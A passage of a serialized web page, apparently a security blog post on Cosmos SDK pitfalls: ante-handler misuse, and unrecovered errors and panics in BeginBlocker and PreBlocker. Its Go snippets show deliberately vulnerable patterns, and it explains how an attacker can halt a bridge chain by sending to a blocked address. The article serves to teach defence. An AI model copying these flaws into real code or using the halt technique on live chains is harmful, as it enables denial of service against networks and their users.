...\n",{"type":22,"tag":264,"props":82138,"children":82139},{"class":1534,"line":25171},[82140,82144,82148,82153,82157,82161,82165],{"type":22,"tag":264,"props":82141,"children":82142},{"style":1549},[82143],{"type":27,"value":82111},{"type":22,"tag":264,"props":82145,"children":82146},{"style":1539},[82147],{"type":27,"value":210},{"type":22,"tag":264,"props":82149,"children":82150},{"style":4401},[82151],{"type":27,"value":82152},"NewIncrementSequenceDecorator",{"type":22,"tag":264,"props":82154,"children":82155},{"style":1539},[82156],{"type":27,"value":2660},{"type":22,"tag":264,"props":82158,"children":82159},{"style":1549},[82160],{"type":27,"value":81803},{"type":22,"tag":264,"props":82162,"children":82163},{"style":1539},[82164],{"type":27,"value":16477},{"type":22,"tag":264,"props":82166,"children":82167},{"style":4284},[82168],{"type":27,"value":82169},"// innermost AnteDecorator\n",{"type":22,"tag":264,"props":82171,"children":82172},{"class":1534,"line":25225},[82173],{"type":22,"tag":264,"props":82174,"children":82175},{"style":1539},[82176],{"type":27,"value":78841},{"type":22,"tag":264,"props":82178,"children":82179},{"class":1534,"line":25234},[82180,82185],{"type":22,"tag":264,"props":82181,"children":82182},{"style":4328},[82183],{"type":27,"value":82184},"        default",{"type":22,"tag":264,"props":82186,"children":82187},{"style":1539},[82188],{"type":27,"value":6858},{"type":22,"tag":264,"props":82190,"children":82191},{"class":1534,"line":33596},[82192,82196,82200,82204,82208,82212,82216],{"type":22,"tag":264,"props":82193,"children":82194},{"style":4328},[82195],{"type":27,"value":80402},{"type":22,"tag":264,"props":82197,"children":82198},{"style":1549},[82199],{"type":27,"value":27155},{"type":22,"tag":264,"props":82201,"children":82202},{"style":1539},[82203],{"type":27,"value":4380},{"type":22,"tag":264,"props":82205,"children":82206},{"style":1549},[82207],{"type":27,"value":81860},{"type":22,"tag":264,"props":82209,"children":82210},{"style":1539},[82211],{"type":27,"value":210},{"type":22,"tag":264,"props":82213,"children":82214},{"style":4401},[82215],{"type":27,"value":81869},{"type":22,"tag":264,"props":82217,"children":82218},{"style":1539},[82219],{"type":27,"value":4767},{"type":22,"tag":264,"props":82221,"children":82222},{"class":1534,"line":33617},[82223,82228,82232,82237,82241,82245,82249,82254,82258,82263,82267,82271],{"type":22,"tag":264,"props":82224,"children":82225},{"style":1549},[82226],{"type":27,"value":82227},"                sdkerrors",{"type":22,"tag":264,"props":82229,"children":82230},{"style":1539},[82231],{"type":27,"value":210},{"type":22,"tag":264,"props":82233,"children":82234},{"style":4401},[82235],{"type":27,"value":82236},"Wrapf",{"type":22,"tag":264,"props":82238,"children":82239},{"style":1539},[82240],{"type":27,"value":2660},{"type":22,"tag":264,"props":82242,"children":82243},{"style":1549},[82244],{"type":27,"value":81898},{"type":22,"tag":264,"props":82246,"children":82247},{"style":1539},[82248],{"type":27,"value":210},{"type":22,"tag":264,"props":82250,"children":82251},{"style":1549},[82252],{"type":27,"value":82253},"ErrUnknownRequest",{"type":22,"tag":264,"props":82255,"children":82256},{"style":1539},[82257],{"type":27,"value":4380},{"type":22,"tag":264,"props":82259,"children":82260},{"style":1597},[82261],{"type":27,"value":82262},"\"invalid transaction type: %T\"",{"type":22,"tag":264,"props":82264,"children":82265},{"style":1539},[82266],{"type":27,"value":4380},{"type":22,"tag":264,"props":82268,"children":82269},{"style":1549},[82270],{"type":27,"value":80507},{"type":22,"tag":264,"props":82272,"children":82273},{"style":1539},[82274],{"type":27,"value":8029},{"type":22,"tag":264,"props":82276,"children":82278},{"class":1534,"line":82277},53,[82279,82284],{"type":22,"tag":264,"props":82280,"children":82281},{"style":1597},[82282],{"type":27,"value":82283},"                \"transaction is not an SDK tx\"",{"type":22,"tag":264,"props":82285,"children":82286},{"style":1539},[82287],{"type":27,"value":4812},{"type":22,"tag":264,"props":82289,"children":82291},{"class":1534,"line":82290},54,[82292],{"type":22,"tag":264,"props":82293,"children":82294},{"style":1539},[82295],{"type":27,"value":78841},{"type":22,"tag":264,"props":82297,"children":82299},{"class":1534,"line":82298},55,[82300],{"type":22,"tag":264,"props":82301,"children":82302},{"style":1539},[82303],{"type":27,"value":4651},{"type":22,"tag":264,"props":82305,"children":82307},{"class":1534,"line":82306},56,[82308],{"type":22,"tag":264,"props":82309,"children":82310},{"emptyLinePlaceholder":17},[82311],{"type":27,"value":4986},{"type":22,"tag":264,"props":82313,"children":82315},{"class":1534,"line":82314},57,[82316,82320,82324,82328,82332,82336,82340,82344,82348],{"type":22,"tag":264,"props":82317,"children":82318},{"style":4328},[82319],{"type":27,"value":17044},{"type":22,"tag":264,"props":82321,"children":82322},{"style":4401},[82323],{"type":27,"value":81449},{"type":22,"tag":264,"props":82325,"children":82326},{"style":1539},[82327],{"type":27,"value":2660},{"type":22,"tag":264,"props":82329,"children":82330},{"style":1549},[82331],{"type":27,"value":21587},{"type":22,"tag":264,"props":82333,"children":82334},{"style":1539},[82335],{"type":27,"value":4380},{"type":22,"tag":264,"props":82337,"children":82338},{"style":1549},[82339],{"type":27,"value":80507},{"type":22,"tag":264,"props":82341,"children":82342},{"style":1539},[82343],{"type":27,"value":4380},{"type":22,"tag":264,"props":82345,"children":82346},{"style":1549},[82347],{"type":27,"value":81387},{"type":22,"tag":264,"props":82349,"children":82350},{"style":1539},[82351],{"type":27,"value":4463},{"type":22,"tag":264,"props":82353,"children":82355},{"class":1534,"line":82354},58,[82356],{"type":22,"tag":264,"props":82357,"children":82358},{"style":1539},[82359],{"type":27,"value":1674},{"type":22,"tag":264,"props":82361,"children":82363},{"class":1534,"line":82362},59,[82364],{"type":22,"tag":264,"props":82365,"children":82366},{"style":1539},[82367],{"type":27,"value":1692},{"type":22,"tag":23,"props":82369,"children":82370},{},[82371,82373,82378,82380,82387,82388,82395],{"type":27,"value":82372},"Additional examples of incorrect ",{"type":22,"tag":257,"props":82374,"children":82376},{"className":82375},[],[82377],{"type":27,"value":79796},{"type":27,"value":82379}," usage include ",{"type":22,"tag":69,"props":82381,"children":82384},{"href":82382,"rel":82383},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[73],[82385],{"type":27,"value":82386},"yet more bypassable checks and loss of funds",{"type":27,"value":12290},{"type":22,"tag":69,"props":82389,"children":82392},{"href":82390,"rel":82391},"https://github.com/cosmos/ibc-go/issues/853",[73],[82393],{"type":27,"value":82394},"incorrect data passing between blockchains",{"type":27,"value":210},{"type":22,"tag":169,"props":82397,"children":82399},{"id":82398},"errors-panics-i-can-handle-it",[82400],{"type":27,"value":82401},"Errors? Panics? I can handle it",{"type":22,"tag":23,"props":82403,"children":82404},{},[82405],{"type":27,"value":82406},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":22,"tag":23,"props":82408,"children":82409},{},[82410],{"type":27,"value":82411},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":22,"tag":23,"props":82413,"children":82414},{},[82415,82417,82423,82425,82430],{"type":27,"value":82416},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":22,"tag":257,"props":82418,"children":82420},{"className":82419},[],[82421],{"type":27,"value":82422},"k.keeper.TotalReward()",{"type":27,"value":82424}," returns zero, the ",{"type":22,"tag":257,"props":82426,"children":82428},{"className":82427},[],[82429],{"type":27,"value":59267},{"type":27,"value":82431}," execution will simply rollback as if nothing has happened.",{"type":22,"tag":618,"props":82433,"children":82435},{"code":82434,"language":77490,"meta":7,"className":77491,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[82436],{"type":22,"tag":257,"props":82437,"children":82438},{"__ignoreMap":7},[82439,82472,82495,82523,82559,82566,82635,82673,82680,82712],{"type":22,"tag":264,"props":82440,"children":82441},{"class":1534,"line":1535},[82442,82446,82450,82455,82459,82463,82468],{"type":22,"tag":264,"props":82443,"children":82444},{"style":4293},[82445],{"type":27,"value":77626},{"type":22,"tag":264,"props":82447,"children":82448},{"style":1539},[82449],{"type":27,"value":4370},{"type":22,"tag":264,"props":82451,"children":82452},{"style":1549},[82453],{"type":27,"value":82454},"k ",{"type":22,"tag":264,"props":82456,"children":82457},{"style":4722},[82458],{"type":27,"value":77640},{"type":22,"tag":264,"props":82460,"children":82461},{"style":1539},[82462],{"type":27,"value":4390},{"type":22,"tag":264,"props":82464,"children":82465},{"style":4401},[82466],{"type":27,"value":82467},"AllocateReward",{"type":22,"tag":264,"props":82469,"children":82470},{"style":1539},[82471],{"type":27,"value":4767},{"type":22,"tag":264,"props":82473,"children":82474},{"class":1534,"line":1545},[82475,82479,82483,82487,82491],{"type":22,"tag":264,"props":82476,"children":82477},{"style":1549},[82478],{"type":27,"value":77661},{"type":22,"tag":264,"props":82480,"children":82481},{"style":4722},[82482],{"type":27,"value":77666},{"type":22,"tag":264,"props":82484,"children":82485},{"style":1539},[82486],{"type":27,"value":210},{"type":22,"tag":264,"props":82488,"children":82489},{"style":4722},[82490],{"type":27,"value":77675},{"type":22,"tag":264,"props":82492,"children":82493},{"style":1539},[82494],{"type":27,"value":4812},{"type":22,"tag":264,"props":82496,"children":82497},{"class":1534,"line":1560},[82498,82502,82506,82510,82514,82519],{"type":22,"tag":264,"props":82499,"children":82500},{"style":1549},[82501],{"type":27,"value":77687},{"type":22,"tag":264,"props":82503,"children":82504},{"style":4309},[82505],{"type":27,"value":11115},{"type":22,"tag":264,"props":82507,"children":82508},{"style":4722},[82509],{"type":27,"value":7049},{"type":22,"tag":264,"props":82511,"children":82512},{"style":1539},[82513],{"type":27,"value":210},{"type":22,"tag":264,"props":82515,"children":82516},{"style":4722},[82517],{"type":27,"value":82518},"MsgAllocateReward",{"type":22,"tag":264,"props":82520,"children":82521},{"style":1539},[82522],{"type":27,"value":4463},{"type":22,"tag":264,"props":82524,"children":82525},{"class":1534,"line":1569},[82526,82530,82534,82538,82542,82547,82551,82555],{"type":22,"tag":264,"props":82527,"children":82528},{"style":1539},[82529],{"type":27,"value":2660},{"type":22,"tag":264,"props":82531,"children":82532},{"style":4309},[82533],{"type":27,"value":5865},{"type":22,"tag":264,"props":82535,"children":82536},{"style":4722},[82537],{"type":27,"value":7049},{"type":22,"tag":264,"props":82539,"children":82540},{"style":1539},[82541],{"type":27,"value":210},{"type":22,"tag":264,"props":82543,"children":82544},{"style":4722},[82545],{"type":27,"value":82546},"MsgAllocatRewardResponse",{"type":22,"tag":264,"props":82548,"children":82549},{"style":1539},[82550],{"type":27,"value":4380},{"type":22,"tag":264,"props":82552,"children":82553},{"style":4722},[82554],{"type":27,"value":16163},{"type":22,"tag":264,"props":82556,"children":82557},{"style":1539},[82558],{"type":27,"value":16103},{"type":22,"tag":264,"props":82560,"children":82561},{"class":1534,"line":1583},[82562],{"type":22,"tag":264,"props":82563,"children":82564},{"emptyLinePlaceholder":17},[82565],{"type":27,"value":4986},{"type":22,"tag":264,"props":82567,"children":82568},{"class":1534,"line":1603},[82569,82574,82578,82583,82587,82592,82596,82601,82605,82609,82614,82618,82622,82626,82631],{"type":22,"tag":264,"props":82570,"children":82571},{"style":1549},[82572],{"type":27,"value":82573},"    RewardPerShare",{"type":22,"tag":264,"props":82575,"children":82576},{"style":4309},[82577],{"type":27,"value":77742},{"type":22,"tag":264,"props":82579,"children":82580},{"style":1549},[82581],{"type":27,"value":82582}," k",{"type":22,"tag":264,"props":82584,"children":82585},{"style":1539},[82586],{"type":27,"value":210},{"type":22,"tag":264,"props":82588,"children":82589},{"style":1549},[82590],{"type":27,"value":82591},"keeper",{"type":22,"tag":264,"props":82593,"children":82594},{"style":1539},[82595],{"type":27,"value":210},{"type":22,"tag":264,"props":82597,"children":82598},{"style":4401},[82599],{"type":27,"value":82600},"Shares",{"type":22,"tag":264,"props":82602,"children":82603},{"style":1539},[82604],{"type":27,"value":15342},{"type":22,"tag":264,"props":82606,"children":82607},{"style":4309},[82608],{"type":27,"value":2891},{"type":22,"tag":264,"props":82610,"children":82611},{"style":1549},[82612],{"type":27,"value":82613},"  k",{"type":22,"tag":264,"props":82615,"children":82616},{"style":1539},[82617],{"type":27,"value":210},{"type":22,"tag":264,"props":82619,"children":82620},{"style":1549},[82621],{"type":27,"value":82591},{"type":22,"tag":264,"props":82623,"children":82624},{"style":1539},[82625],{"type":27,"value":210},{"type":22,"tag":264,"props":82627,"children":82628},{"style":4401},[82629],{"type":27,"value":82630},"TotalReward",{"type":22,"tag":264,"props":82632,"children":82633},{"style":1539},[82634],{"type":27,"value":9029},{"type":22,"tag":264,"props":82636,"children":82637},{"class":1534,"line":1612},[82638,82643,82647,82651,82655,82660,82664,82669],{"type":22,"tag":264,"props":82639,"children":82640},{"style":1549},[82641],{"type":27,"value":82642},"    k",{"type":22,"tag":264,"props":82644,"children":82645},{"style":1539},[82646],{"type":27,"value":210},{"type":22,"tag":264,"props":82648,"children":82649},{"style":1549},[82650],{"type":27,"value":82591},{"type":22,"tag":264,"props":82652,"children":82653},{"style":1539},[82654],{"type":27,"value":210},{"type":22,"tag":264,"props":82656,"children":82657},{"style":4401},[82658],{"type":27,"value":82659},"DistributeReward",{"type":22,"tag":264,"props":82661,"children":82662},{"style":1539},[82663],{"type":27,"value":2660},{"type":22,"tag":264,"props":82665,"children":82666},{"style":1549},[82667],{"type":27,"value":82668},"RewardPerShare",{"type":22,"tag":264,"props":82670,"children":82671},{"style":1539},[82672],{"type":27,"value":4463},{"type":22,"tag":264,"props":82674,"children":82675},{"class":1534,"line":1621},[82676],{"type":22,"tag":264,"props":82677,"children":82678},{"emptyLinePlaceholder":17},[82679],{"type":27,"value":4986},{"type":22,"tag":264,"props":82681,"children":82682},{"class":1534,"line":1629},[82683,82687,82691,82695,82699,82704,82708],{"type":22,"tag":264,"props":82684,"children":82685},{"style":4328},[82686],{"type":27,"value":18291},{"type":22,"tag":264,"props":82688,"children":82689},{"style":4309},[82690],{"type":27,"value":8434},{"type":22,"tag":264,"props":82692,"children":82693},{"style":1549},[82694],{"type":27,"value":7049},{"type":22,"tag":264,"props":82696,"children":82697},{"style":1539},[82698],{"type":27,"value":210},{"type":22,"tag":264,"props":82700,"children":82701},{"style":1549},[82702],{"type":27,"value":82703},"MsgAllocateRewardResponse",{"type":22,"tag":264,"props":82705,"children":82706},{"style":1539},[82707],{"type":27,"value":4380},{"type":22,"tag":264,"props":82709,"children":82710},{"style":4293},[82711],{"type":27,"value":77968},{"type":22,"tag":264,"props":82713,"children":82714},{"class":1534,"line":1642},[82715],{"type":22,"tag":264,"props":82716,"children":82717},{"style":1539},[82718],{"type":27,"value":1692},{"type":22,"tag":23,"props":82720,"children":82721},{},[82722,82724,82730,82731,82737,82738,82744,82746,82751],{"type":27,"value":82723},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":22,"tag":257,"props":82725,"children":82727},{"className":82726},[],[82728],{"type":27,"value":82729},"PreBlocker",{"type":27,"value":4380},{"type":22,"tag":257,"props":82732,"children":82734},{"className":82733},[],[82735],{"type":27,"value":82736},"BeginBlocker",{"type":27,"value":7780},{"type":22,"tag":257,"props":82739,"children":82741},{"className":82740},[],[82742],{"type":27,"value":82743},"EndBlocker",{"type":27,"value":82745},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":22,"tag":257,"props":82747,"children":82749},{"className":82748},[],[82750],{"type":27,"value":82736},{"type":27,"value":82752}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":22,"tag":618,"props":82754,"children":82756},{"code":82755,"language":77490,"meta":7,"className":77491,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[82757],{"type":22,"tag":257,"props":82758,"children":82759},{"__ignoreMap":7},[82760,82825,82832,82880,82908,82915,82927],{"type":22,"tag":264,"props":82761,"children":82762},{"class":1534,"line":1535},[82763,82767,82772,82776,82780,82784,82788,82792,82796,82800,82805,82809,82813,82817,82821],{"type":22,"tag":264,"props":82764,"children":82765},{"style":4293},[82766],{"type":27,"value":77626},{"type":22,"tag":264,"props":82768,"children":82769},{"style":4401},[82770],{"type":27,"value":82771}," BeginBlocker",{"type":22,"tag":264,"props":82773,"children":82774},{"style":1539},[82775],{"type":27,"value":2660},{"type":22,"tag":264,"props":82777,"children":82778},{"style":1549},[82779],{"type":27,"value":21587},{"type":22,"tag":264,"props":82781,"children":82782},{"style":4722},[82783],{"type":27,"value":77666},{"type":22,"tag":264,"props":82785,"children":82786},{"style":1539},[82787],{"type":27,"value":210},{"type":22,"tag":264,"props":82789,"children":82790},{"style":4722},[82791],{"type":27,"value":77675},{"type":22,"tag":264,"props":82793,"children":82794},{"style":1539},[82795],{"type":27,"value":4380},{"type":22,"tag":264,"props":82797,"children":82798},{"style":1549},[82799],{"type":27,"value":82591},{"type":22,"tag":264,"props":82801,"children":82802},{"style":4722},[82803],{"type":27,"value":82804}," keeper",{"type":22,"tag":264,"props":82806,"children":82807},{"style":1539},[82808],{"type":27,"value":210},{"type":22,"tag":264,"props":82810,"children":82811},{"style":4722},[82812],{"type":27,"value":81271},{"type":22,"tag":264,"props":82814,"children":82815},{"style":1539},[82816],{"type":27,"value":4390},{"type":22,"tag":264,"props":82818,"children":82819},{"style":4722},[82820],{"type":27,"value":16163},{"type":22,"tag":264,"props":82822,"children":82823},{"style":1539},[82824],{"type":27,"value":4594},{"type":22,"tag":264,"props":82826,"children":82827},{"class":1534,"line":1545},[82828],{"type":22,"tag":264,"props":82829,"children":82830},{"emptyLinePlaceholder":17},[82831],{"type":27,"value":4986},{"type":22,"tag":264,"props":82833,"children":82834},{"class":1534,"line":1560},[82835,82839,82843,82847,82851,82855,82859,82863,82868,82872,82876],{"type":22,"tag":264,"props":82836,"children":82837},{"style":1549},[82838],{"type":27,"value":82573},{"type":22,"tag":264,"props":82840,"children":82841},{"style":4309},[82842],{"type":27,"value":77742},{"type":22,"tag":264,"props":82844,"children":82845},{"style":1549},[82846],{"type":27,"value":82804},{"type":22,"tag":264,"props":82848,"children":82849},{"style":1539},[82850],{"type":27,"value":210},{"type":22,"tag":264,"props":82852,"children":82853},{"style":4401},[82854],{"type":27,"value":82600},{"type":22,"tag":264,"props":82856,"children":82857},{"style":1539},[82858],{"type":27,"value":15342},{"type":22,"tag":264,"props":82860,"children":82861},{"style":4309},[82862],{"type":27,"value":2891},{"type":22,"tag":264,"props":82864,"children":82865},{"style":1549},[82866],{"type":27,"value":82867},"  keeper",{"type":22,"tag":264,"props":82869,"children":82870},{"style":1539},[82871],{"type":27,"value":210},{"type":22,"tag":264,"props":82873,"children":82874},{"style":4401},[82875],{"type":27,"value":82630},{"type":22,"tag":264,"props":82877,"children":82878},{"style":1539},[82879],{"type":27,"value":9029},{"type":22,"tag":264,"props":82881,"children":82882},{"class":1534,"line":1569},[82883,82888,82892,82896,82900,82904],{"type":22,"tag":264,"props":82884,"children":82885},{"style":1549},[82886],{"type":27,"value":82887},"    keeper",{"type":22,"tag":264,"props":82889,"children":82890},{"style":1539},[82891],{"type":27,"value":210},{"type":22,"tag":264,"props":82893,"children":82894},{"style":4401},[82895],{"type":27,"value":82659},{"type":22,"tag":264,"props":82897,"children":82898},{"style":1539},[82899],{"type":27,"value":2660},{"type":22,"tag":264,"props":82901,"children":82902},{"style":1549},[82903],{"type":27,"value":82668},{"type":22,"tag":264,"props":82905,"children":82906},{"style":1539},[82907],{"type":27,"value":4463},{"type":22,"tag":264,"props":82909,"children":82910},{"class":1534,"line":1583},[82911],{"type":22,"tag":264,"props":82912,"children":82913},{"emptyLinePlaceholder":17},[82914],{"type":27,"value":4986},{"type":22,"tag":264,"props":82916,"children":82917},{"class":1534,"line":1603},[82918,82922],{"type":22,"tag":264,"props":82919,"children":82920},{"style":4328},[82921],{"type":27,"value":54187},{"type":22,"tag":264,"props":82923,"children":82924},{"style":4293},[82925],{"type":27,"value":82926}," nil\n",{"type":22,"tag":264,"props":82928,"children":82929},{"class":1534,"line":1612},[82930],{"type":22,"tag":264,"props":82931,"children":82932},{"style":1539},[82933],{"type":27,"value":1692},{"type":22,"tag":181,"props":82935,"children":82937},{"id":82936},"real-world-examples-3",[82938],{"type":27,"value":78015},{"type":22,"tag":23,"props":82940,"children":82941},{},[82942],{"type":27,"value":82943},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":22,"tag":23,"props":82945,"children":82946},{},[82947,82949,82955,82957,82962,82964,82970,82972,82978,82980,82986],{"type":27,"value":82948},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":22,"tag":257,"props":82950,"children":82952},{"className":82951},[],[82953],{"type":27,"value":82954},"bankKeeper.SendCoinsFromModuleToAccount",{"type":27,"value":82956}," will be bubbled up through ",{"type":22,"tag":257,"props":82958,"children":82960},{"className":82959},[],[82961],{"type":27,"value":82729},{"type":27,"value":82963}," and halt the chain. It turns out an attacker can force ",{"type":22,"tag":257,"props":82965,"children":82967},{"className":82966},[],[82968],{"type":27,"value":82969},"SendCoinsFromModuleToAccount",{"type":27,"value":82971}," to return an error by setting ",{"type":22,"tag":257,"props":82973,"children":82975},{"className":82974},[],[82976],{"type":27,"value":82977},"recipient",{"type":27,"value":82979}," to some ",{"type":22,"tag":257,"props":82981,"children":82983},{"className":82982},[],[82984],{"type":27,"value":82985},"BlockedAddr",{"type":27,"value":82987},",rendering the code susceptible to DoS attacks.",{"type":22,"tag":23,"props":82989,"children":82990},{},[82991],{"type":22,"tag":69,"props":82992,"children":82995},{"href":82993,"rel":82994},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[73],[82996],{"type":27,"value":78065},{"type":22,"tag":618,"props":82998,"children":83000},{"code":82999,"language":77490,"meta":7,"className":77491,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[83001],{"type":22,"tag":257,"props":83002,"children":83003},{"__ignoreMap":7},[83004,83057,83072,83095,83125,83161,83169,83225,83249,83299,83306,83313,83320,83327,83334,83365,83388,83413,83428,83435,83472,83526,83549,83590,83597,83604,83655,83716,83739,83762,83774,83795,83807,83815,83822,83837,83845,83852,83859,83866,83873,83880,83911,83934,83959,83984,83999,84006,84043,84054,84075,84086,84098,84105,84128,84168,84175,84182],{"type":22,"tag":264,"props":83005,"children":83006},{"class":1534,"line":1535},[83007,83011,83015,83020,83024,83029,83033,83037,83041,83045,83049,83053],{"type":22,"tag":264,"props":83008,"children":83009},{"style":4293},[83010],{"type":27,"value":77626},{"type":22,"tag":264,"props":83012,"children":83013},{"style":1539},[83014],{"type":27,"value":4370},{"type":22,"tag":264,"props":83016,"children":83017},{"style":1549},[83018],{"type":27,"value":83019},"pbh ",{"type":22,"tag":264,"props":83021,"children":83022},{"style":4309},[83023],{"type":27,"value":5865},{"type":22,"tag":264,"props":83025,"children":83026},{"style":4722},[83027],{"type":27,"value":83028},"PreBlockHandler",{"type":22,"tag":264,"props":83030,"children":83031},{"style":1539},[83032],{"type":27,"value":4390},{"type":22,"tag":264,"props":83034,"children":83035},{"style":4401},[83036],{"type":27,"value":82729},{"type":22,"tag":264,"props":83038,"children":83039},{"style":1539},[83040],{"type":27,"value":15342},{"type":22,"tag":264,"props":83042,"children":83043},{"style":4722},[83044],{"type":27,"value":80056},{"type":22,"tag":264,"props":83046,"children":83047},{"style":1539},[83048],{"type":27,"value":210},{"type":22,"tag":264,"props":83050,"children":83051},{"style":4722},[83052],{"type":27,"value":82729},{"type":22,"tag":264,"props":83054,"children":83055},{"style":1539},[83056],{"type":27,"value":4594},{"type":22,"tag":264,"props":83058,"children":83059},{"class":1534,"line":1545},[83060,83064,83068],{"type":22,"tag":264,"props":83061,"children":83062},{"style":4328},[83063],{"type":27,"value":18291},{"type":22,"tag":264,"props":83065,"children":83066},{"style":4293},[83067],{"type":27,"value":81335},{"type":22,"tag":264,"props":83069,"children":83070},{"style":1539},[83071],{"type":27,"value":4767},{"type":22,"tag":264,"props":83073,"children":83074},{"class":1534,"line":1560},[83075,83079,83083,83087,83091],{"type":22,"tag":264,"props":83076,"children":83077},{"style":1549},[83078],{"type":27,"value":27498},{"type":22,"tag":264,"props":83080,"children":83081},{"style":4722},[83082],{"type":27,"value":79967},{"type":22,"tag":264,"props":83084,"children":83085},{"style":1539},[83086],{"type":27,"value":210},{"type":22,"tag":264,"props":83088,"children":83089},{"style":4722},[83090],{"type":27,"value":77675},{"type":22,"tag":264,"props":83092,"children":83093},{"style":1539},[83094],{"type":27,"value":4812},{"type":22,"tag":264,"props":83096,"children":83097},{"class":1534,"line":1569},[83098,83103,83107,83112,83116,83121],{"type":22,"tag":264,"props":83099,"children":83100},{"style":1549},[83101],{"type":27,"value":83102},"        req",{"type":22,"tag":264,"props":83104,"children":83105},{"style":4309},[83106],{"type":27,"value":11115},{"type":22,"tag":264,"props":83108,"children":83109},{"style":4722},[83110],{"type":27,"value":83111},"cmtabci",{"type":22,"tag":264,"props":83113,"children":83114},{"style":1539},[83115],{"type":27,"value":210},{"type":22,"tag":264,"props":83117,"children":83118},{"style":4722},[83119],{"type":27,"value":83120},"RequestFinalizeBlock",{"type":22,"tag":264,"props":83122,"children":83123},{"style":1539},[83124],{"type":27,"value":4812},{"type":22,"tag":264,"props":83126,"children":83127},{"class":1534,"line":1583},[83128,83132,83136,83140,83144,83149,83153,83157],{"type":22,"tag":264,"props":83129,"children":83130},{"style":1539},[83131],{"type":27,"value":81403},{"type":22,"tag":264,"props":83133,"children":83134},{"style":4309},[83135],{"type":27,"value":5865},{"type":22,"tag":264,"props":83137,"children":83138},{"style":4722},[83139],{"type":27,"value":80056},{"type":22,"tag":264,"props":83141,"children":83142},{"style":1539},[83143],{"type":27,"value":210},{"type":22,"tag":264,"props":83145,"children":83146},{"style":4722},[83147],{"type":27,"value":83148},"ResponsePreBlock",{"type":22,"tag":264,"props":83150,"children":83151},{"style":1539},[83152],{"type":27,"value":4380},{"type":22,"tag":264,"props":83154,"children":83155},{"style":4722},[83156],{"type":27,"value":16163},{"type":22,"tag":264,"props":83158,"children":83159},{"style":1539},[83160],{"type":27,"value":16103},{"type":22,"tag":264,"props":83162,"children":83163},{"class":1534,"line":1603},[83164],{"type":22,"tag":264,"props":83165,"children":83166},{"style":4309},[83167],{"type":27,"value":83168},"        ...\n",{"type":22,"tag":264,"props":83170,"children":83171},{"class":1534,"line":1612},[83172,83177,83181,83186,83190,83195,83199,83204,83208,83212,83216,83221],{"type":22,"tag":264,"props":83173,"children":83174},{"style":1549},[83175],{"type":27,"value":83176},"        err",{"type":22,"tag":264,"props":83178,"children":83179},{"style":4309},[83180],{"type":27,"value":77742},{"type":22,"tag":264,"props":83182,"children":83183},{"style":1549},[83184],{"type":27,"value":83185}," pbh",{"type":22,"tag":264,"props":83187,"children":83188},{"style":1539},[83189],{"type":27,"value":210},{"type":22,"tag":264,"props":83191,"children":83192},{"style":1549},[83193],{"type":27,"value":83194},"bridgeKeeper",{"type":22,"tag":264,"props":83196,"children":83197},{"style":1539},[83198],{"type":27,"value":210},{"type":22,"tag":264,"props":83200,"children":83201},{"style":4401},[83202],{"type":27,"value":83203},"AcceptAssetsLocked",{"type":22,"tag":264,"props":83205,"children":83206},{"style":1539},[83207],{"type":27,"value":2660},{"type":22,"tag":264,"props":83209,"children":83210},{"style":1549},[83211],{"type":27,"value":21587},{"type":22,"tag":264,"props":83213,"children":83214},{"style":1539},[83215],{"type":27,"value":4380},{"type":22,"tag":264,"props":83217,"children":83218},{"style":1549},[83219],{"type":27,"value":83220},"events",{"type":22,"tag":264,"props":83222,"children":83223},{"style":1539},[83224],{"type":27,"value":4463},{"type":22,"tag":264,"props":83226,"children":83227},{"class":1534,"line":1621},[83228,83232,83236,83240,83245],{"type":22,"tag":264,"props":83229,"children":83230},{"style":4328},[83231],{"type":27,"value":4575},{"type":22,"tag":264,"props":83233,"children":83234},{"style":1549},[83235],{"type":27,"value":49841},{"type":22,"tag":264,"props":8323